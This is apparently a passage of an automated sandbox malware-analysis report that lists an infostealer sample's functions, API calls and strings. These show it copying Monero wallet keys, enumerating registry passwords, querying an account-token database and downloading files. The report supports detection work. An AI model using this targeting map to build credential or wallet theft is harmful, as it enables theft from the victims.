Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,00A5A210,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 01001465

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

DeleteFileA.KERNEL32(00000000), ref: 010014EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 01001335
\Monero\wallet.keys, xrefs: 0100138D
.keys, xrefs: 0100136B
wallet_path, xrefs: 01001330

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 3399110b447b1d917b8e2594bacb2af4ae40ffea51fbfb9d6886ffc9e32e9947
Instruction ID: a829595f01a34f59a4c7279a3dcbc5a96f454a68c2b36a9ca1e705262f78e652
Opcode Fuzzy Hash: 3399110b447b1d917b8e2594bacb2af4ae40ffea51fbfb9d6886ffc9e32e9947
Instruction Fuzzy Hash: 695175B1E5015A97DB15FB60DD94FED733CAF64200F404198A64AA7084EF346B8ACBA5

Function 010075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 010072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0100733A
Part of subcall function 010072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 010073B1
Part of subcall function 010072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0100740D
Part of subcall function 010072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 01007452
Part of subcall function 010072D0: HeapFree.KERNEL32(00000000), ref: 01007459

lstrcat.KERNEL32(2F958020,010217FC), ref: 01007606
lstrcat.KERNEL32(2F958020,00000000), ref: 01007648
lstrcat.KERNEL32(2F958020, : ), ref: 0100765A
lstrcat.KERNEL32(2F958020,00000000), ref: 0100768F
lstrcat.KERNEL32(2F958020,01021804), ref: 010076A0
lstrcat.KERNEL32(2F958020,00000000), ref: 010076D3
lstrcat.KERNEL32(2F958020,01021808), ref: 010076ED
task.LIBCPMTD ref: 010076FB

Strings

: , xrefs: 0100764E

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f2ead8fe97bd5fb0dbc60047bef94966965c58fb90272e51e011fab813603223
Instruction ID: 3b151a0d129b7c9329f75b9a72f9343c7ee4567ec3c92ccf1d339d26fea3da3d
Opcode Fuzzy Hash: f2ead8fe97bd5fb0dbc60047bef94966965c58fb90272e51e011fab813603223
Instruction Fuzzy Hash: 60311C79D4010ADFEB15EBE4EC98DFE7779FB98301F104119E143A7284DA34A946CB50

Function 01017500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01017542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0101757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017603
RtlAllocateHeap.NTDLL(00000000), ref: 0101760A
wsprintfA.USER32 ref: 01017640

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Strings

C, xrefs: 0101754C
:, xrefs: 0101755C
\, xrefs: 01017560

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 1898a885183eabf42791c5a480f2966122ccf3ecfc358f772836c6a1092a28f4
Instruction ID: c6b2205e7594181cf8475de1c9b62fc1cf24534f9855ffbce9807feebf128240
Opcode Fuzzy Hash: 1898a885183eabf42791c5a480f2966122ccf3ecfc358f772836c6a1092a28f4
Instruction Fuzzy Hash: A04191B5D40248ABDB21DF94DC48BEEBBB8EF18704F004099F54A67284D7786B44CBA5

Function 010060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

InternetOpenA.WININET(01020DF7,00000001,00000000,00000000,00000000), ref: 0100610F
StrCmpCA.SHLWAPI(?,00A5EA78), ref: 01006147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0100618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 010061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 010061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0100620A
CloseHandle.KERNEL32(?,?,00000400), ref: 01006249
InternetCloseHandle.WININET(?), ref: 01006253
InternetCloseHandle.WININET(00000000), ref: 01006260

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: d05166d596454e4a5a591497ebb9909a0208c963a3e2070974b8522b417422d7
Instruction ID: f983d316913c964a48c9257ae9c3b3c08f8c3d2ba88892e562372cf2a9498f9e
Opcode Fuzzy Hash: d05166d596454e4a5a591497ebb9909a0208c963a3e2070974b8522b417422d7
Instruction Fuzzy Hash: D05170B1A40219EBEB25DF50DC48BEE77B9FB44701F008098E646A71C4DB756B89CF94

Function 010072D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0100733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 010073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0100740D
GetProcessHeap.KERNEL32(00000000,?), ref: 01007452
HeapFree.KERNEL32(00000000), ref: 01007459
task.LIBCPMTD ref: 01007555

Strings

Password, xrefs: 01007401

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 8f086a12fe0abd587a35f01fb38e5cc3346980282844a0c7d35e07b3ac87e62e
Instruction ID: 36f413ef9ca2f524f4176d601186246ad039490da08b02e2083d7daa0699ecba
Opcode Fuzzy Hash: 8f086a12fe0abd587a35f01fb38e5cc3346980282844a0c7d35e07b3ac87e62e
Instruction Fuzzy Hash: D9614DB5C001699BEB25DB50DC44BD9B7B8BF54300F0081E9E6C9A6185DFB46BC9CF90

Function 0100BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

lstrlen.KERNEL32(00000000), ref: 0100BC9F

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0100BCCD
lstrlen.KERNEL32(00000000), ref: 0100BDA5
lstrlen.KERNEL32(00000000), ref: 0100BDB9

Strings

AccountTokens, xrefs: 0100BABA
SELECT service, encrypted_token FROM token_service, xrefs: 0100BBEB
AccountId, xrefs: 0100BCC4
AccountTokens, xrefs: 0100BB49

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 26b8c7fce41d7d2717b15a2f4e48a10b6d586d1a3684e2f844a8320920331d32
Instruction ID: e25829b5aca1dbd522dad186624f5d6c5917db71f85d2087a5658192b107ff24
Opcode Fuzzy Hash: 26b8c7fce41d7d2717b15a2f4e48a10b6d586d1a3684e2f844a8320920331d32
Instruction Fuzzy Hash: 5AB1A176A11149DBDF14FBA0DD94EEE7339AF64210F404158F983A7098EF386E49CBA0

Function 01004FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 01004FCA
RtlAllocateHeap.NTDLL(00000000), ref: 01004FD1
InternetOpenA.WININET(01020DDF,00000000,00000000,00000000,00000000), ref: 01004FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 01005011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 01005041
InternetCloseHandle.WININET(?), ref: 010050B9
InternetCloseHandle.WININET(?), ref: 010050C6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: a9bf60d2f19e338b0fffcdb1afcf4ba88e46e51de40c988cd7267b531d224048
Instruction ID: b0a3d0907d4ae1704552d510933f6e2442744c87158757e2ffc2b3dcd21e2c72
Opcode Fuzzy Hash: a9bf60d2f19e338b0fffcdb1afcf4ba88e46e51de40c988cd7267b531d224048
Instruction Fuzzy Hash: 22311BB4A40218ABEB24CF54DC88BDDB7B4EB48704F1081D8F60AA7284D7706EC58F98

Function 01018100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00A5E0F8,00000000,?,01020E2C,00000000,?,00000000), ref: 01018130
